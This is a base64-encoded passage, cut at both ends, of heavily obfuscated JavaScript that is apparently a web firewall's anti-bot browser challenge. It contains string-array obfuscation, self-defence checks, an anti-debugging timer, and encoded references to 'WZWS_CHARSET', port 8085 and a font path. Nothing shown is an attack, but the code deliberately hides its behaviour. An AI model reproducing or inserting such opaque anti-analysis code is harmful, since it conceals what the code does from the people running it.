JuIFIocy0gLScweDE4NScsbyk7fWZ1bmN0aW9uIG4obyxzKXtyZXR1cm4gUihzLScweDFlYScsbyk7fWZ1bmN0aW9uIGcobyxzKXtyZXR1cm4gdShzLSAtJzB4MTIwJyxvKTt9dmFyIHE9bygpO3doaWxlKCEhW10pe3RyeXt2YXIgRz0tcGFyc2VJbnQoZygnWDlQXicsJzB4Y2InKSkvKDB4YWY2KjB4MisweGVhYioweDErLTB4MjQ5NikqKC1wYXJzZUludChUKCcweDQ0MycsJ1gzUWEnKSkvKDB4MSotMHgxMTJiKzB4NSoweDNhZCstMHgxMzQpKStwYXJzZUludChnKCc5d2NPJywnMHg4ZScpKS8oLTB4ZjcqMHgxOCsweGUqMHhiKy0weDEqLTB4MTY5MSkqKHBhcnNlSW50KG4oJzB4MzMzJywnMHgzZDcnKSkvKDB4MyotMHg0OSsweDFhMDUrLTB4MTkyNikpKy1wYXJzZUludChuKCcweDNjNycsJzB4MzI5JykpLygtMHgxMCotMHgxOGUrLTB4ZGU3Ki0weDIrLTB4MzRhOSkqKC1wYXJzZUludChrKC0nMHgxMScsLScweDZhJykpLygweDIqLTB4MTBiMisweDgzKjB4MzYrMHgyNSoweDI4KSkrLXBhcnNlSW50KGcoJ0lGUXMnLCcweDEwMCcpKS8oMHhjZTErMHgxKi0weGU1NysweDE3ZCkrLXBhcnNlSW50KFQoJzB4M2NkJywnWUc0WCcpKS8oMHgxYjM4KzB4MTRmNyoweDErLTB4MzAyNykrcGFyc2VJbnQoVCgnMHg0NTMnLCcqcFlmJykpLygweDQzMSstMHgxZDZjKzB4MTk0NCkqKHBhcnNlSW50KGsoLScweDhiJywtJzB4NGYnKSkvKC0weDEyYTArLTB4ZDMqLTB4MWQrMHgxKi0weDUzZCkpKy1wYXJzZUludChuKCcweDQ2NicsJzB4NDE0JykpLygtMHgxMSoweDExNSstMHgxMzBkKjB4MSstMHgyNTdkKi0weDEpKihwYXJzZUludChrKCcweDEwJywnMHhkJykpLygtMHgxKi0weDIzODYrMHgxZmRkKy0weDQzNTcqMHgxKSk7aWYoRz09PXMpYnJlYWs7ZWxzZSBxWydwdXNoJ10ocVsnc2hpZnQnXSgpKTt9Y2F0Y2godil7cVsncHVzaCddKHFbJ3NoaWZ0J10oKSk7fX19KGIsLTB4YjgwN2ErMHgxZGMxYSsweDMqMHg3OGZhMykpO3ZhciBjPScvV1pXU1JFTDNOMFlYUnBZeTlxY3k5eFlYaGtMMlp2Ym5SekwzRmhlQzFrWlhOcFoyNHRhV052Ym5NdWQyOW1aZz09JyxGPScrMGlySltTd3knO2Z1bmN0aW9uIGIoKXt2YXIgb3E9WydXNk5kVVNvNW1Da3cnLCdXNVpkSXRGZEpTb3knLCdrY0JkTVdEcicsJ3lNTHV0ZzQnLCd6ZW5PQXdXJywnV1JiU1c2R1RCYScsJ0FTb29kd05kSmEnLCdXUlJkT0NveldRSzcnLCdmZ0ZkSm1rcmFxaGRSbW9EY1NrZHNmeGNIZGknLCdEZ3Y0RGdlJywndjFXOGVidScsJ1c2M2NSU2t3V090ZEhXJywnV09WY00xZGNIOG9UJywnQk05VXpxJywncEdSY0ltb2ZXNHEnLCd5dzFMJywnejhvQmUybGRHcScsJ3owamVBTnEnLCdtdHFZbVp1MG0zdlVBaGZmcUcnLCduU29ZVzdHQicsJ3pzS0dFMzAnLCdXNFpkVThrRHJhVycsJ1c0aVFXNTFybVcnLCdEZFJjUThvTVdQQycsJ3l3ck9xMDgnLCd6Q2tPV09xUnVhJywnRE12WUF3eScsJ3plSHBBdXUnLCdDTTl1cmZlJywnQ2dmWUMydScsJ21jMDV5czAnLCdDTnZKRGc4JywnQU1yandNRycsJ3FLNVJFd2knLCdtdGVabXRhWW1aenJCd3ZwdGZ5JywncUs5UUN3MCcsJ3QwdnpBdW0nLCd2dS9jUWM0dycsJ2pLQ1NtMksnLCdXUWJHV1A5NldPTycsJ3hjR0drTFcnLCdXT2oxVzVMNldRMCcsJ0F3NVBEYScsJ3kyblZ3dm0nLCd6M0R0RUx5JywnVzdwZEhNTmRUZjgnLCdFS2VUd0w4JywnQTBYSXJ3eScsJ0F3OVVpY08nLCdXT3hjVE5KY1Ztb3InLCdCMmpRendtJywndjJqbXl2YScsJ3JoTHJ1MjAnLCdXT2RkVXROY0w4a3UnLCd1bW9CV1BlRldRTycsJ3pLRHV2TTgnLCdiVzdjUENvRFc0ZScsJ0VmdnRFeGEnLCdXUS9jTjIvY0pDb3YnLCd6MHZ5c3d1JywnbmFOY0lTb3BXN2knLCdBdzlVJywnZGNsZFVXMXMnLCdCZ3ZVejNxJywnQ05yZnVlZScsJ0QySFBCZ3UnLCd5MjlTJywndEt6eEEyRycsJ3ZTa2JXUGlQQ3EnLCd6dzUwJywnRE1XTmZxNCcsJ0ZkYjhtTlcnLCdzbW90ZHVsZE9XJywnV09yNlc0SGZXUlcnLCdXUGhkVlhwY1FTazcnLCdBaHp1cjBpJywneHd6emY4bzQnLCdibWtFczhvZGNhJywneXMxNnFzMCcsJ3ZnakxzME8nLCdyZTUyQmVTJywneTJISEF3NCcsJ3o4b3JoTXRkR3EnLCdFcXpEalcnLCdmZTdkTVNrK1c1YScsJ1c3TmNUQ2t4V1BWZFVxJywnRFNvOFdPR0RXUHUnLCdBTnYzQUxxJywnd05uMHRlQycsJ0MwSEFydXEnLCdzaERuQ2d5JywnemVmcnlOQycsJ1dQM2NSc0JjS044JywnVzVkZEliTmROU29WJywnV1BSY1ZtbzFndFcnLCdXT3JHVzRYd1dPSycsJ3RDb2dtWTAxJywnVzZ4ZEoyRmRWS2UnLCdwM0Q2RDNtJywnbUpHMG5kenhFdWZ5c2d1JywnamQzY1QwVGonLCdyTTVmdGdDJywnRU5qWnRNeScsJ3I4a2RXT3V0RmEnLCd3eFBYeUtPJywnV1BKY1RzeGNJdXEnLCdCZzlKeXhxJywndE05a0FLTycsJ0QwenVtOG9BJywnZFNrU3htb0tqRycsJ3kySEhDS2UnLCdXNFJkTThrMHZZeScsJ3VNbnR0Zk8nLCd5M2pMeXhxJywnV1FMVFc3OGZGRycsJ1dSaGNPWjAnLCdyZ0hadmhpJywnVzRXK1c0SDFrcScsJ3V3clB2S0MnLCd2TTU0eXcwJywndXdINkMzeScsJ0FoYmJEZ2UnLCdpY0gwQ051JywnclNvc21LbGRLVycsJ3YzRHNyMEsnLCd0d2ZVQmVHJywnbXRtMG1KS1dDZUxRQnZMbicsJ3NmZnV3ZzAnLCdDM2JTQXhxJywneHV6Ylc3OUQnLCd0dkRpQjBXJywnc2Z6cHdLMCcsJ3B2bThodzgnLCdyMWU4ZWRDJywndE1uMXJ2YScsJ25KbTFCMUhNRGVITicsJ0ZkajhueFcnLCdXT2phV1B2NldPZScsJ0RNZlNEd3UnLCdyaHJ0RExtJywnV09UK1c3dVpDRycsJ1c1T1pnOG9aa1cnLCd1M0xtejBTJywnelo3Y09Db1hXUFcnLCdBS25KdXV5JywnQnd2MEFnOCcsJ3pndkpCMnEnLCdzM1BLRDNDJywndGVEMUNLRycsJ1dQRE9XNVRLb21rNXRtby8nLCdiU2tnd1NvRG1HJywnd0w4S3h2UycsJ0MzckhEZ3UnLCd0MDFQcUtlJywnV1BkY01iTmNSTFMnLCdXT0ZjUThvU1c2M2RUYScsJ29nUmRJOGs3dkcnLCdEd250Q2d5JywneUxQYUJxMExXNmxjUGQ1UERDb1hncScsJ1c0M2NRYWJIaHEnLCdvQ29mejhrZXVxJywnQXhEdkFOdScsJ0N3Zlh5d1MnLCdXNFZkVG1rMicsJ1c0aGRTU2tXeFlXJywnc01mWHV2SycsJ0VMZklzM3knLCdGMHhjUVhLUCcsJ3VLRHRydmknLCdXNFJkTzhrMkZhYScsJ3d3aklCTXknLCdXUjFQV1FubHRXJywndFNrTldPaXhzcScsJ210dTBtSnkxbktQTXQydjRBRycsJ1c0TmRHU2tjV1J4ZE1hJywndkxEY3l3dScsJ1dQSmRWR0JjTENrWCcsJ3R4cnhBTUcnLCd6dXZTencwJywnVzR4Y01iN2RUU2t2JywnV1BCZEhIZGNVbWs3JywnbWJCY1B3SHonLCdXTzVjV1JuZkNXJywnbzJWZEdta0R2RycsJ3lNeklCM20nLCdyQ28zbnhsZEpxJywnVzZlamttbzZwRycsJ2w4b1d4M0JjS3EnLCdDM3I1Qmd1JywnVzVSZFI4bytnOGt1JywnQ2c5WkRhJywnVzdOY1J0VHViYScsJ21HbTVlaEcnLCdXUWxjUWZSY1RTb1QnLCdDaGpWRGc4JywnYXRaY08ydnMnLCdqWE9Jb2VLJywnV08zY1FYUmNHU2t0JywnVzV0ZE9ta1lFYW0nLCdXN1JkTG1rS0ZKUycsJ292bGRWRycsJ3lMTEp6ZUsnLCd5eGJXenc0JywnVzRCY0hta0ZXUTNkT0cnLCdXUXBkSXRKY1JtazQnLCd5MkhIQ0ttJywnQUtESkJ4eScsJ1dPelpXUjFlV1JpJywnak5ENkQzbScsJ3dMclN6MUcnLCd5U294bmJtSicsJ3p3RGZ0aGEnLCdtdGZucnc1Y3R4cScsJ0R3clFEdXEnLCdXUWhkSG1vZ1dRR2YnLCd0M0R6dktLJywnVzdteFc0WEJlVycsJ3EyMVdyMXknLCdvdHpycjB6ZUMxdScsJ0FlSE15TUcnLCdBTVRTQnc0JywnamYwUWtxJywnRGd2WkRhJywndnd2UnYyQycsJ1c0elpXTzFwaWEnLCdXNnRkTTEvZFV3RycsJ1dQNUpXUHIwQkcnLCdBd3J6cUswJywnb3VSZFZTa1FXN0cnLCdDSzliQ3V1JywnV1FWY1VjaGNNU2tyJywnQjJuZnd3NCcsJ3QyalF6d20nLCdXUTA0aXRkZEphJywnVzZCY0tYYldvYScsJ3lOck9ES2UnLCdXUFJkVFlSY1BIMCcsJ3p1TGxxeEsnLCd2TFBxQ3hhJywnV1AvZFZ0M2NTOGt6JywnV1BieFc3NTVXUEsnLCdBdzVOJywndFh4Y05tb1hEVycsJ1dPZGNLeHBjTVNvaCcsJ0EzUEtxdU8nLCdyV3hjSFNvN1dSaScsJ1c0MElXUVg4dEk1VWVxJywndVNvcm9Db3ZXNlMnLCdwTTdkUm1rZ1c2RycsJ29zV3hkTjAnLCdFbW9ObTFoZFBXJywnd01mSXkycScsJ1dSRmNRZEJjU1NrbCcsJ0NNZk9Bd08nLCd1TTFKQWhPJywnQ2hicHUwaScsJ1c2WmNJczkzZ0cnLCd1ZmZzdTFxJywnek5EMkR1OCcsJ3RoTGN0ZkcnLCdCMnJMcXhxJywnQlNrcVdSZU9xcScsJ1dPSDJXNFgyV09LJywnV1BEWFdSRGonLCd5MjlVQzNxJywnVzVSZElDayt5WEcnLCdDMnJidDF5JywnQWdmWXEyOCcsJ0MwUFNEdmEnLCdyS3owdWhhJywnaHFlb2d4ZScsJ2x3ZUhlaEMnLCdXUERSVzVUNVdQdScsJ3oyRExDRycsJ21KR1l2OG9zJywneU52TXpNdScsJ3J2ZGNIdnFTV09MQVdSdGRWeHhkU2EnLCd6TmpWQnVtJywndncxQUFMbScsJ1dPUmRWOG9heGEwJywnRDNuV3ZndScsJ3JlSDBFZTAnLCdFSzV4cndxJywnV081RldPTHFXUDgnLCdXN3VpVzZpTScsJ3l2ekFBS2knLCdwSnFCJywnRDJuZGc4b0MnLCduaFdYRmRtJywnVzRwY0dxSmRPVycsJ1dRVzllSkpkUlcnLCd3ZlMrYVlhJywnZldPY1c0bkN0Q2tsenY4JywnQm1vbWpZaVMnLCdXNThSV09peVc0YScsJ0N1VGlBZXknLCdXN3RkSm1raldSL2RUcScsJ29YOHd2bW9UJywnc2VuenUxTycsJ3Q4b1FFWE5kU1cnLCdXUHRkUW1vNXFzZScsJ3JOZmhydzgnLCdEZzl0RGhpJywneUNvN1dST0JXUXEnLCdzZTV3ck5DJywnaVNrVHhTb2dnVycsJ1c3YThXNFBCZUcnLCdXN0M0VzVDYnphOXB6cScsJ1dQdklXUHZNeFcnLCdtWmkxbkp1WXF4TEl1d2ZnJywnc0xmcHZOcScsJ2dKeUJ2U29EJywnV1FOZEdtb0dCV2UnLCdXNy9jUVNrdVdPSmRIVycsJ3ZlVG5BdnUnLCdXNWRkVjhrSHFxNCcsJ3UwOVB0ZzQnLCdDTXZIJywneXduMEF3OCcsJ0FMTEF5eHUnLCdrSUcvb0xTJywnd0tETUQxdScsJ0V3bnZCdkMnLCdvZEsybXRIdnV4TGR1dmEnLCd6TnZVeTNxJywnczBETkRmQycsJ3NDb1JndHExJywndDFqb3p2RycsJ1dPWGZXUWJLRWEnLCdBdzVNQjNtJywnbVpxMW5KQycsJ1c3N2RPQ2tEV1JIWScsJ0VDb1NqYXVUJywnblg3ZFBIRDcnLCdvTHlSaDNxJywnamNmaHA4a28nLCdCOGtZV1JPZUFHJywnQWVmTEVLSycsJ2djbTVleHEnLCdvY2pCV1AzY0tHJywnQWVmTnZnMCcsJ3k4a0lXUGVGdWEnLCdXUVJkRzhvdVdRNE8nLCduaFcxRmRlJywnenc1Tnp0MCcsJ1dPdjFXUHo2V1FHJywndEt6SUJ2eScsJ1dPM2RJU29HQWRpJywnQmVuTnV4TycsJ2tjR09sSVMnLCdXNXhjTVlCZEtHOCcsJ0F3NVdEeHEnXTtiPWZ1bmN0aW9uKCl7cmV0dXJuIG9xO307cmV0dXJuIGIoKTt9c2V0SW50ZXJ2YWwoZnVuY3Rpb24oKXt2YXIgbz17J0paeUxLJzpmdW5jdGlvbihzKXtyZXR1cm4gcygpO319O2Z1bmN0aW9uIHgobyxzKXtyZXR1cm4gdShvLSAtJzB4MmYzJyxzKTt9b1t4KC0nMHgxNzAnLCc2aEBiJyldKFopO30sMHgxNjI5KzB4MyotMHg1YjkrMHhhYTIpO3ZhciBDPSc4MDg1JyxwPSdHRVQnLFE9JycsTT0nV1pXU19DSEFSU0VUJyxZPScyOGNlNGRkOWI4Y2JlOTkwYjI5YmVkM2NlNDQ0ZmM5NDg0YmFlNGMzOTBhMGIyY2FhMWJlMTdiMDY2OWZmYTZiMGIyYzcyNzRjN2M2OTJlMDBkZTc5NDlkZWQ1MWZkZmM5ZjlkJztmdW5jdGlvbiBSKEQsbyl7dmFyIHM9YigpO3JldHVybiBSPWZ1bmN0aW9uKHEsdSl7cT1xLSgtMHgyNmVlKzB4OWE3KzB4MWUzYyk7dmFyIEc9c1txXTtpZihSWyd0Z3pHZ2MnXT09PXVuZGVmaW5lZCl7dmFyIHY9ZnVuY3Rpb24oaCl7dmFyIFM9J2FiY2RlZmdoaWprbG1ub3BxcnN0dXZ3eHl6QUJDREVGR0hJSktMTU5PUFFSU1RVVldYWVowMTIzNDU2Nzg5Ky89Jzt2YXIgQT0nJyx6PScnLE49QSt2O2Zvcih2YXIgRT0weDg0NyoweDIrLTB4MTI1KjB4MSstMHhmNjkqMHgxLEssZCxKPTB4ZTkqLTB4MSstMHhmKi0weDIyNSstMHhmYTEqMHgyO2Q9aFsnY2hhckF0J10oSisrKTt+ZCYmKEs9RSUoMHg5KjB4MWEzKy0weDhjOCsweDVlZiotMHgxKT9LKigtMHgxKjB4MTkzNysweDE5ZjIrLTB4N2IpK2Q6ZCxFKyslKC0weDMqLTB4OThmKzB4MTkqMHg1ZistMHgyNWYwKSk/QSs9TlsnY2hhckNvZGVBdCddKEorKDB4N2YzKy0weDE1YjcrMHhkY2UpKS0oMHhmNzArLTB4MSoweDFjZjMrMHhkOGQqMHgxKSE9PS0weGY3MCstMHgxM2UyKzB4MjM1Mj9TdHJpbmdbJ2Zyb21DaGFyQ29kZSddKC0weDEzKi0weGYrLTB4MWUwMistMHhlZjIqLTB4MiZLPj4oLSgweGUqMHhiMystMHgyNDM3Ky0weDY1Ki0weDQzKSpFJjB4MTJiNCstMHg0YTErLTB4ZTBkKSk6RTotMHgxKjB4MTBlNSsweDE5NysweDEqMHhmNGUpe2Q9U1snaW5kZXhPZiddKGQpO31mb3IodmFyIGU9LTB4MmIqMHgxMSsweDEqMHgxOTYxKy0weGJhKjB4MWYsbT1BWydsZW5ndGgnXTtlPG07ZSsrKXt6Kz0nJScrKCcwMCcrQVsnY2hhckNvZGVBdCddKGUpWyd0b1N0cmluZyddKDB4YSoweDcrMHgyYzAqLTB4NisweDEwNGEpKVsnc2xpY2UnXSgtKC0weDFiYjIrMHgyYiotMHg1NystMHg5ZCotMHg0NSkpO31yZXR1cm4gZGVjb2RlVVJJQ29tcG9uZW50KHopO307UlsndWhvRUxHJ109dixEPWFyZ3VtZW50cyxSWyd0Z3pHZ2MnXT0hIVtdO312YXIgcj1zWzB4YjhhKy0weDJlKi0weDUwKy0weDE5ZWEqMHgxXSxMPXErcixmPURbTF07aWYoIWYpe3ZhciBoPWZ1bmN0aW9uKFMpe3RoaXNbJ2tGZWZSeSddPVMsdGhpc1snQllUY0RSJ109WzB4OGEqMHgxKzB4NWU3Ki0weDErMHg1NWUsLTB4MWJkNCsweDQqLTB4MTkxKzB4MjIxOCwtMHgxKjB4MzgyKy0weDc3YisweGFmZF0sdGhpc1snZmRHUlpPJ109ZnVuY3Rpb24oKXtyZXR1cm4nbmV3U3RhdGUnO30sdGhpc1snRWF2TnNFJ109J1x4NWN3K1x4MjAqXHg1YyhceDVjKVx4MjAqe1x4NWN3K1x4MjAqJyx0aGlzWyd5bWlNTnEnXT0nW1x4Mjd8XHgyMl0uK1tceDI3fFx4MjJdOz9ceDIwKn0nO307aFsncHJvdG90eXBlJ11bJ3BweWlQcyddPWZ1bmN0aW9uKCl7dmFyIFM9bmV3IFJlZ0V4cCh0aGlzWydFYXZOc0UnXSt0aGlzWyd5bWlNTnEnXSksQT1TWyd0ZXN0J10odGhpc1snZmRHUlpPJ11bJ3RvU3RyaW5nJ10oKSk/LS10aGlzWydCWVRjRFInXVsweDIyNjcqLTB4MSsweDYxOSsweDFjNGZdOi0tdGhpc1snQllUY0RSJ11bLTB4NyotMHgyYTIrLTB4MTE5NistMHhkOF07cmV0dXJuIHRoaXNbJ3B6YkdYQyddKEEpO30saFsncHJvdG90eXBlJ11bJ3B6YkdYQyddPWZ1bmN0aW9uKFMpe2lmKCFCb29sZWFuKH5TKSlyZXR1cm4gUztyZXR1cm4gdGhpc1snVVdkT0JMJ10odGhpc1sna0ZlZlJ5J10pO30saFsncHJvdG90eXBlJ11bJ1VXZE9CTCddPWZ1bmN0aW9uKFMpe2Zvcih2YXIgQT0tMHgxKi0weDFkMzErLTB4MSoweDM2Ky0weDlhOSoweDMsej10aGlzWydCWVRjRFInXVsnbGVuZ3RoJ107QTx6O0ErKyl7dGhpc1snQllUY0RSJ11bJ3B1c2gnXShNYXRoWydyb3VuZCddKE1hdGhbJ3JhbmRvbSddKCkpKSx6PXRoaXNbJ0JZVGNEUiddWydsZW5ndGgnXTt9cmV0dXJuIFModGhpc1snQllUY0RSJ11bLTB4MWIxNysweDI0NGErLTB4OTMzXSk7fSxuZXcgaChSKVsncHB5aVBzJ10oKSxHPVJbJ3Vob0VMRyddKEcpLERbTF09Rzt9ZWxzZSBHPWY7cmV0dXJuIEc7fSxSKEQsbyk7fWZ1bmN0aW9uIFUobyl7dmFyIHM9eydkZm9JdCc6dCgtJzB4MjY2JywtJzB4MmM5JykrdCgtJzB4MjBhJywtJzB4MjkwJykrdCgtJzB4MWFjJywtJzB4MTk2JyksJ2J0aHZBJzpqKCdSUncwJywnMHgyMDknKSsnZXInLCdOS1JVSCc6J0FCQ0RFJysnRkdISUonK2ooJ1lHNFgnLCcweDI3MicpK0goJzB4YWUnLCcweDIzJykrJ1VWV1hZJyt0KC0nMHgxNmEnLC0nMHgyMGYnKSsnZWZnaGknK3QoLScweDFkMycsLScweDIyZScpKydvcHFycycrJ3R1dnd4JytqKCduRCNxJywnMHgyNmYnKSt0KC0nMHgxZjQnLC0nMHgxYzAnKStqKCdsNFpDJywnMHgyNDYnKSwnSndVcm8nOmZ1bmN0aW9uKFMsQSl7cmV0dXJuIFM8QTt9LCdTeUxnSyc6ZnVuY3Rpb24oUyxBKXtyZXR1cm4gUz09PUE7fSwnTklId3gnOkgoLScweDgnLCcweDhlJyksJ0hRVFhtJzoncFdMdkYnLCdCT2pxbSc6ZnVuY3Rpb24oUyxBKXtyZXR1cm4gUyZBO30sJ1NPaUxuJzpmdW5jdGlvbihTLEEpe3JldHVybiBTPT1BO30sJ01XSG9MJzpmdW5jdGlvbihTLEEpe3JldHVybiBTIT09QTt9LCdSc1ZrZyc6J3VUTHdLJywnY2NvWVMnOmZ1bmN0aW9uKFMsQSl7cmV0dXJuIFM+PkE7fSwnakNjUUYnOmZ1bmN0aW9uKFMsQSl7cmV0dXJuIFM8PEE7fSwnb2lPYnYnOmZ1bmN0aW9uKFMsQSl7cmV0dXJuIFN8QTt9LCd1VXpIUyc6ZnVuY3Rpb24oUyxBKXtyZXR1cm4gUyZBO30sJ0RIdHhNJzpmdW5jdGlvbihTLEEpe3JldHVybiBTJkE7fSwnZkdUVm8nOmZ1bmN0aW9uKFMsQSl7cmV0dXJuIFMmQTt9LCdxS0hoRic6ZnVuY3Rpb24oUyxBKXtyZXR1cm4gUz4+QTt9LCdaRmpyYic6ZnVuY3Rpb24oUyxBKXtyZXR1cm4gU3xBO30sJ2l3VWp1JzpmdW5jdGlvbihTLEEpe3JldHVybiBTPDxBO30sJ09FWWlDJzpmdW5jdGlvbihTLEEpe3JldHVybiBTJkE7fSwnUFBDeVgnOmZ1bmN0aW9uKFMsQSl7cmV0dXJuIFMmQTt9LCdGTHhBeCc6ZnVuY3Rpb24oUyxBKXtyZXR1cm4gU3xBO30sJ2JqRmZXJzpmdW5jdGlvbihTLEEpe3JldHVybiBTJkE7fSwnYWRoQ08nOmZ1bmN0aW9uKFMsQSl7cmV0dXJuIFMmQTt9LCdrQmdLVyc6ZnVuY3Rpb24oUyxBKXtyZXR1cm4gUyZBO319O2Z1bmN0aW9uIHQobyxzKXtyZXR1cm4gUihzLSAtJzB4M2MyJyxvKTt9dmFyIHE9c1tJKCcweDQyMycsJ0A1KDEnKV07ZnVuY3Rpb24gSChvLHMpe3JldHVybiBSKG8tIC0nMHgxMGInLHMpO312YXIgRz1vW3QoLScweDJkOCcsLScweDJjYicpKydoJ107ZnVuY3Rpb24gaihvLHMpe3JldHVybiB1KHMtJzB4NjgnLG8pO312YXIgdj0nJztmdW5jdGlvbiBJKG8scyl7cmV0dXJuIHUoby0nMHgyYzQnLHMpO31mb3IodmFyIHI9MHgzMTUrMHgyNGErMHhiKi0weDdkO3NbSSgnMHg0YzknLCdYM1FhJyldKHIsRyk7KXtpZihzW3QoLScweDI1YicsLScweDI3YycpXShzW2ooJ01VY0knLCcweDFkOScpXSxzW3QoLScweDFlNScsLScweDI4YicpXSkpcmV0dXJuIGZ1bmN0aW9uKEEpe31bSSgnMHg0YzInLCdFIWchJykrJ3J1Y3RvJysnciddKFVJZG10Q1tqKCd4YSNIJywnMHgxNmMnKV0pW2ooJ01VY0knLCcweDI4NicpXShVSWRtdENbSCgnMHg5OCcsJzB4NWYnKV0pO2Vsc2V7dmFyIEw9c1tIKCcweDEzMCcsJzB4MTgwJyldKG9bJ2NoYXJDJyt0KC0nMHgxYWMnLC0nMHgyMDYnKV0ocisrKSwtMHgxZCoweDI5KzB4MTJkNistMHhkMzIpO2lmKHNbdCgtJzB4MjZmJywtJzB4MWNlJyldKHIsRykpe2lmKHNbSCgnMHgyZicsJzB4NzMnKV0oc1snUnNWa2cnXSxzW2ooJyNwSiEnLCcweDE4MScpXSkpcmV0dXJuISFbXTtlbHNle3YrPXFbaignTTBubycsJzB4MjhhJykrJ3QnXShzW0goJzB4MTM4JywnMHgxOTAnKV0oTCwtMHgyNTUwKzB4MjYqMHg1YSsweDE3ZjYqMHgxKSksdis9cVsnY2hhckEnKyd0J10oc1tqKCdZRzRYJywnMHgyMTknKV0oc1t0KC0nMHgxZTAnLC0nMHgxODcnKV0oTCwweGNlKi0weDEyKy0weDIyZisweDEwYWUpLDB4MTFjNSstMHgxYWJmKjB4MSsweDQ3ZioweDIpKSx2Kz0nPT0nO2JyZWFrO319dmFyIGY9b1tIKCcweDdhJywnMHhmOScpK2ooJ3hnW0onLCcweDIxYycpXShyKyspO2lmKHNbdCgtJzB4MWY0JywtJzB4MWNlJyldKHIsRykpe3YrPXFbSCgnMHgxYicsJzB4NmEnKSsndCddKHNbJ2Njb1lTJ10oTCwweGIxYiotMHgzKy0weDEwZisweDIyNjIpKSx2Kz1xW0goJzB4MWInLCcweGFlJykrJ3QnXShzW0koJzB4NGRkJywnRDlvWycpXShzW0koJzB4NDZlJywnSUZRcycpXShzW2ooJzl3Y08nLCcweDI2OCcpXShMLC0weGM0KjB4MmIrMHg4NyoweDQrMHgxZWQzKSwtMHgxODA5Ky0weDIwMzYrMHgzODQzKSxzWydjY29ZUyddKHNbdCgtJzB4MTgwJywtJzB4MWYxJyldKGYsMHgxYmY5KzB4ZGRlKy0weDExYioweDI1KSwweDUqLTB4MTY5KzB4MWVkMCstMHgxN2JmKSkpLHYrPXFbSCgnMHgxYicsLScweDMzJykrJ3QnXShzW3QoLScweDIzYycsLScweDI3YScpXShzW3QoLScweDFhYicsLScweDE3MycpXShmLDB4MmZiKzB4N2QqLTB4MjcrMHgxMDFmKSwweGEyMSstMHhiKi0weDI2OSsweDkqLTB4NDEyKSksdis9Jz0nO2JyZWFrO312YXIgaD1vW0koJzB4NGFiJywnYyMxOCcpKydvZGVBdCddKHIrKyk7dis9cVtJKCcweDNjNScsJ2w0WkMnKSsndCddKHNbSSgnMHgzYmEnLCdYM1FhJyldKEwsMHg3MioweDI5KzB4MWQ5KjB4MistMHgyKjB4YWY5KSksdis9cVt0KC0nMHgyMWUnLC0nMHgyOWMnKSsndCddKHNbSSgnMHg0NDgnLCdKaEZVJyldKHNbdCgtJzB4MjI1JywtJzB4MjY5JyldKHNbdCgtJzB4MTFlJywtJzB4MTg2JyldKEwsLTB4MTQyMysweDNlNysweDEwM2YpLDB4ZmE0KzB4MWMxNSsweDQzKi0weGE3KSxzW0goJzB4ZDQnLCcweDliJyldKHNbJ1BQQ3lYJ10oZiwweDgwNysweDczOSstMHhlNTApLC0weDJiMisweDIxMWMrMHgyKi0weGYzMykpKSx2Kz1xW0goJzB4MWInLCcweGM0JykrJ3QnXShzWydGTHhBeCddKHNbdCgtJzB4MmJlJywtJzB4MjY5JyldKHNbSSgnMHg0OWUnLCdSUncwJyldKGYsLTB4MSoweDIyNTYrMHg1NGYrMHgxMSoweDFiNiksMHgxZGQ2Ky0weDIzNDErMHgzKjB4MWNmKSxzWydxS0hoRiddKHNbSCgnMHgxMjUnLCcweDE5NCcpXShoLDB4MSoweDFlZDMrMHgxNjEqMHgxKy0weDE2KjB4MTZlKSwweDFhMDUqLTB4MSsweDRlNisweDE1MjUpKSksdis9cVtqKCdEOW9bJywnMHgxN2QnKSsndCddKHNbaignQUFhWScsJzB4MThkJyldKGgsMHgyKjB4MTI4NistMHgxYzExKjB4MSstMHg4YmMpKTt9fXJldHVybiB2O31mdW5jdGlvbiBYKG8pe3ZhciBzPXsna0xiRWYnOic1fDN8MCcrdygnalt1cycsJzB4M2QzJykrJzInLCdSSEp2TSc6ZnVuY3Rpb24oQSx6KXtyZXR1cm4gQSh6KTt9LCd4U29Odyc6ZnVuY3Rpb24oQSx6KXtyZXR1cm4gQTx6O30sJ1BoQWFHJzpmdW5jdGlvbihBLHope3JldHVybiBBIT09ejt9LCdZT1poWic6YSgnMHg1MzMnLCcweDRkZicpLCdidUxzTCc6ZnVuY3Rpb24oQSx6KXtyZXR1cm4gQSZ6O30sJ0h3TXBmJzpmdW5jdGlvbihBLHope3JldHVybiBBPHo7fSwnRkZ0UHAnOmZ1bmN0aW9uKEEseil7cmV0dXJuIEE9PXo7fSwnUkdTRVInOmZ1bmN0aW9uKEEseil7cmV0dXJuIEE8ejt9LCdoQWV6SSc6ZnVuY3Rpb24oQSx6KXtyZXR1cm4gQT09ejt9LCd1ZGp1RCc6ZnVuY3Rpb24oQSx6KXtyZXR1cm4gQXx6O30sJ2N0TlpOJzpmdW5jdGlvbihBLHope3JldHVybiBBPDx6O30sJ0ZOU0pJJzpmdW5jdGlvbihBLHope3JldHVybiBBPj56O30sJ1VtWmpTJzpmdW5jdGlvbihBLHope3JldHVybiBBJno7fSwnZkRhWlEnOmZ1bmN0aW9uKEEseil7cmV0dXJuIEEhPT16O30sJ2FWWmpCJzphKCcweDUyZScsJzB4NGE3JyksJ3dmdEhpJzp3KCdbVFlZJywnMHg0NjgnKSwnZEFRYncnOmZ1bmN0aW9uKEEseil7cmV0dXJuIEEmejt9LCdJemNLQSc6ZnVuY3Rpb24oQSx6KXtyZXR1cm4gQTx6O30sJ0hTQ1RiJzpmdW5jdGlvbihBLHope3JldHVybiBBPT16O30sJ0dNVmVLJzpmdW5jdGlvbihBLHope3JldHVybiBBPT16O30sJ0JOa3liJzpmdW5jdGlvbihBLHope3JldHVybiBBPDx6O30sJ0t6ZHd3JzpmdW5jdGlvbihBLHope3JldHVybiBBPj56O30sJ0ZxR0VvJzpmdW5jdGlvbihBLHope3JldHVybiBBJno7fSwnSkNBRGInOmZ1bmN0aW9uKEEseil7cmV0dXJuIEE9PXo7fSwnTWxPR2YnOmZ1bmN0aW9uKEEseil7cmV0dXJuIEE8ejt9LCdyb1REUSc6ZnVuY3Rpb24oQSx6KXtyZXR1cm4gQT09ejt9LCdObnpGSic6ZnVuY3Rpb24oQSx6KXtyZXR1cm4gQXx6O319LHE9bmV3IEFycmF5KC0oLTB4MzIqMHhhYSstMHg4OGErLTB4MSotMHgyOWJmKSwtKC0weDIyKjB4NzIrLTB4NjFkKzB4MTU0MiksLSgtMHg5YTYrMHg5ODkrLTB4MiotMHhmKSwtKC0weDQqLTB4MmFjKy0weDY3KjB4MysweDRiZCotMHgyKSwtKC0weDJjNyo